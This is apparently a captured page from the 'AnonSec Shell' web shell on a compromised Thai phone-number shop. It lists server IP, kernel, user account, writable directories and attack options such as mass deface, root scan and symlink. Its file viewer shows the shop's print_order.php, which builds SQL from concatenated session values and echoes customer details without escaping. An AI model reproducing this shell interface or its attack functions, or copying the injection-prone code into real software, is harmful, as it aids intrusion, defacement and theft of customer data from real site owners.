AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/kainumber.com/cart/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/kainumber.com/cart/print_order.php
<?php include('../include/class.php');?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ใบสั่งซื้อสินค้า - kainumber</title>
</head>

<body>
<?php
$sql = array('table'=>'orders','where'=>"id = '". $_SESSION['order_id'] ."'");
$view_sql = $view_db->view($sql);
$row = $view_db->q($view_sql);
?>
<div id="orders2">
 <table width="100%" border="0">
  <tr>
    <td align="right"><img src="../image/text_logotop.png" width="200" class="img-responsive"></td>
  </tr>
  <tr>
    <td>เลขที่ใบสั่งซื้อ : #<?php printf("%06d", $_SESSION['order_id']);?></td>
  </tr>
   <tr>
    <td>วันที่สั่งสินค้า : <?php echo $util_class->day_num2($row['date_time']) ?></td>
  </tr>
  <?php
  	$dmy = $util_class->day_num4($row['date_time']);
	/*$date = new DateTime(date("Y-m-d"));
	$date->modify('+1 day');
	$date_1 = $date->format('d/m/Y');*/
	$date_1 = date("d/m/Y",date("U")+ 60*60*24);
  ?>
   <tr>
    <td>ชำระเงินภายในวันที่ : <?php echo $date_1 ?></td>
  </tr>
</table>
<div style="border:1px solid #000;margin-top:15px;">
<table width="100%" border="0">
  <tr>
    <td>ที่อยู่สำหรับจัดส่งสินค้า</td>
  </tr>
   <tr>
    <td><?php echo $row['name'] .' '. $row['lastname'];?></td>
  </tr>
   <tr>
    <td><?php echo $row['address'] .' '. $row['province'] .' '. $row['zipcode']?></td>
  </tr>
  <tr>
    <td>โทรศัพท์ <?php echo $Phone_class->phonenumber($row['phone']);?></td>
  </tr>
</table>
</div>
<br><br>
<table width="100%" border="1" align="center" cellpadding="5" cellspacing="0">
  <tr align="center">
    <td>หมายเลขโทรศัพท์</td>
    <td>เครือข่าย</td>
    <td>ราคา</td>
  </tr>
  <?php
   
	$list1 = array('table'=>'order_detail','where'=>'id_order = "'.$_SESSION['order_id'].'"','order'=> "ORDER BY id ASC");				  
	$view1 = $view_db->view($list1);
	$result1 = $view_db->q_re($view1);
	while($row1 = $view_db->q_ro($result1))
    {
        $sql2 = array('table'=>'phonenumber','where'=>"id = '". $row1['id_pho']."'");
        $view_sql2 = $view_db->view($sql2);
        $row2 = $view_db->q($view_sql2);
        ?>
        <tr align="center">
            <td><?php echo $Phone_class->phonenumber($row2['phonenumber']); ?></td>
            <?php
            $sql_type = array('table'=>'mobilenetwork','where'=>"id = '". $row2['mobilenetwork']."'");
            $view_type = $view_db->view($sql_type);
            $row_type = $view_db->q($view_type);
            ?>
            <td><img src="../redbag/mobilenetwork/<?php echo $row_type['image'];?>" width="38" height="19"></td>
            <td align="right"><?php echo $row2['price']; ?> บาท</td>
          </tr>
        <?php
    $p_price = str_replace("," , "" ,$row2['price']);
    $sum_price = $sum_price + $p_price;
    }
  ?>
  
  
  
  
  <tr>
    <td align="right" colspan="2">รวม</td>
    <td align="right"><?php echo number_format($sum_price);?>  บาท</td>
  </tr>
  <tr>
    <td align="right" colspan="2">ค่าจัดส่ง</td>
    <td align="right"><?php echo number_format($row['delivery']);?> บาท</td>
  </tr> 
 <?php
 $total = $sum_price + $_SESSION['delivery'];
 
 ?>
   <tr>
    <td align="right" colspan="2">ราคารวม</td>
    <td align="right"><?php echo number_format($total);?> บาท</td>
  </tr>
</table>
 
</div>
<div align="center" style="padding:25px 0px 10px 0px;"><input type=button value=print onclick="window.print()"></div>







</body>
</html>

Anon7 - 2022
AnonSec Team